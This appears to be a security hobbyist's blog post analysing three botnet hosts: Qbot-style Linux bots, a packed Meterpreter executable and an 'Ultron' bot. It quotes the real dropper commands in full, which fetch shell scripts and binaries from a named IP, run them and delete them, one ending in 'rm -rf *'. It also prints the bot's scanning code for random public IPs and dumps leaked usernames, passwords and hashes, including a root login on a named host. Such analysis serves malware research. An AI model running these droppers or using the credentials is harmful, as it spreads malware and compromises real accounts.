cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.10.68.125/bins.sh; chmod 777 bins.sh; sh bins.sh; tftp 185.10.68.125 -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g 185.10.68.125; chmod 777 tftp2.sh; sh tftp2.sh; ftpget -v -u anonymous -p anonymous -P 21 185.10.68.125 ftp1.sh ftp1.sh; sh ftp1.sh; rm -rf bins.sh tftp1.sh tftp2.sh ftp1.sh; rm -rf *; exit

Tl;dr – grab some bash files, throw them in various places, chmod them, run them, delete them. Here’s the contents of one of the shell scripts…

-e #!/bin/bash

-e cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.10.68.125/ntpd; chmod +x ntpd; ./ntpd; rm -rf ntpd

-e cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.10.68.125/sh; chmod +x sh; ./sh; rm -rf sh

-e cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.10.68.125/’ ‘; chmod +x ‘ ‘; ./’ ‘; rm -rf ‘ ‘

^^^ I highlighted the most interesting one. The apache index doesn’t support directly spaces for file names, as a result, the browser won’t be able to browse to it directly. Bug or feature?

So replace common programs with zombie progs?

Yes. After this is done, the next piece of code it runs replication. The process is simple – find a random IP, try the list of users and passwords from before, then attempt to connect / auth. How does it find a random IP programmatically?

Just does a random number 0-255 on each of the 4 octets. Of course it seems to skip the private network ranges.

Hope you like C:
in_addr_t getRandomPublicIP() { if(ipState[1] < 255 && ipState[2] < 255 && ipState[3] < 255 && ipState[4] < 255)         {                 ipState[1]++; ipState[2]++; ipState[3]++; ipState[4]++;                 char ip[16];                 szprintf(ip, "%d.%d.%d.%d", ipState[1], ipState[2], ipState[3], ipState[4]); return inet_addr(ip);         } ipState[1] = rand() % 255; ipState[2] = rand() % 255;         ipState[3] = rand() % 255; ipState[4] = rand() % 255;         while(                 (ipState[1] == 0) ||                 (ipState[1] == 10) ||                 (ipState[1] == 100 && (ipState[2] >= 64 && ipState[2] <= 127)) ||                 (ipState[1] == 127) ||                 (ipState[1] == 169 && ipState[2] == 254) ||                 (ipState[1] == 172 && (ipState[2] <= 16 && ipState[2] <= 31)) ||                 (ipState[1] == 192 && ipState[2] == 0 && ipState[3] == 2) ||                 (ipState[1] == 192 && ipState[2] == 88 && ipState[3] == 99) ||                 (ipState[1] == 192 && ipState[2] == 168) ||                 (ipState[1] == 198 && (ipState[2] == 18 || ipState[2] == 19)) ||                 (ipState[1] == 198 && ipState[2] == 51 && ipState[3] == 100) ||                 (ipState[1] == 203 && ipState[2] == 0 && ipState[3] == 113) ||                 (ipState[1] >= 224)         )         {                 ipState[1] = rand() % 255;          ipState[2] = rand() % 255;          ipState[3] = rand() % 255; ipState[4] = rand() % 255;         } char ip[16];         szprintf(ip, "%d.%d.%d.%d", ipState[1], ipState[2], ipState[3], ipState[4]); return inet_addr(ip); } 

A quick cursory search on github with a few names of the functions (like ‘StartTheLelz’) I saw quickly gave me source code. Qbot. 

https://github.com/AgentCri/CnC/blob/ecacec9cfe9874cfa6c54cfed239faa29ab75bac/Clients/(QBOT)%20Unix%20Client.c

I wasn’t expecting some complex shit on a PUBLICLY EXPOSED IP address. 

The github link posted does a better job explaining the rest of the functionality. Check passwords, connect, spread, flood UPD, TCP, etc. 

Wrap up of first botnet host :

The user/passes in these files don’t add up – the passwords inside don’t match what’s in the bot. Exmaple: 104.206.241.222:23 root:t0talc0ntr0l4!

Most of these accounts aren’t root shells either, but are you really that picky?

Second botnet host

Rather innocuous, just a lone exe. What could it be?

Like all suspected windows executables on the net, it’s packed, because of course it is. Before you ask how I know, you can just tell looking at strings and the lack of exported / import functions.

Unpacking this was trivial. This might be the dunning-kruger effect, but this was pretty easy for me. Just located the VirtualAlloc call that was setting the protection type to ‘execute’ that loaded the encrypted strings I saw earlier.

Break on run, locate buffer, save.

So what the fuck is it? Meterpreter shell. How did I come up with this? Again, look at the function names (why don’t people strip these?) and browse github.

The fFunction named ‘packet_call_completion_handlers’ stands out. I found it on github under meterpreter’s source code:

Wrapping up Bot 2

Just a meterpreter exe. Likely a staging point for metasploit.

Bot 3 – The other Linux one.

This one has a much larger haul of users / passwords than the last one. Way more binaries too.

What do we have this time? More Complex than #1

More passwords, more users, more architectures.

This one operates the same way as the previous one, just has more users and passwords.

The command string pulled from the binaries is like the first one:

wget http://185.10.68.45/bins/ultronfinal.mips;chmod 777 ultronfinal.mips;./ultronfinal.mips;rm -rf ultronfinal.mips

Grab a binary, chmod it, run it, delete it.

I know what you’re thinking: “Joe, what’s in the PCAP files?”

Nothing. All lame shit. Disappointing.

What about the JSON files? What’s in those?

The big huge one ‘servers.json’ contains the following:

,.{   “ip”: “184.95.45.22”,   “timestamp”: “1537106844”, “ports”: [ {“port”: 63922, “proto”: “tcp”, “status”: “open”, “reason”: “syn-ack”, “ttl”: 52} ] }.,.{   “ip”: “108.170.33.182”,   “timestamp”: “1537106844”, “ports”: [ {“port”: 38445, “proto”: “tcp”, “status”: “open”, “reason”: “syn-ack”, “ttl”: 52} ] }.,.{   “ip”: “184.95.45.22”,   “timestamp”: “1537106845”, “ports”: [ {“port”: 24884, “proto”: “tcp”, “status”: “open”, “reason”: “syn-ack”, “ttl”: 52} ] }.

Ports, IP’s, timestamps. Hundreds of thousands of entries.

Visit one of the IP’s and they all seem to be the same thing: NGINX. Maybe its some sort of 0day?

What about the other JSON file?

Usernames, passwords and hashes!

“14673”:{“username”:”Deadmau5_5_”,”hash”:”$1$9M4L+1Df$cGT1IOC58njMFfJZUBPbM0″,”password”:”general23″},”14674″:{“username”:”leelucky2″,”hash”:”$1$9M4L+1Df$cGT1IOC58njMFfJZUBPbM0″,”password”:”general23″}

This file is HUGE. Shitloads of hashes, usernames, passwords.

What about source code? Did you get that too? You betcha!

https://github.com/b1narythag0d/Ultron-2.0-Vision

Wrapping up Bot #3

More questions than answers. I need further investigation still. I need to:

  1. Figure out what the ip addresses / ports are for.
  2. Figure out what the user/passes are for.
  3. Find more botnets!
  4. ?????????
  5. Profit!

Obviously more work is needed, but I felt it necessary to share what I have so far, and actually update this blog once in a while.

Stay tuned, I got more crap to publish. Expect new shit soon.

Edit: want some samples? Click Here! The password as always is infected

Viewing all 37 articles
Browse latest View live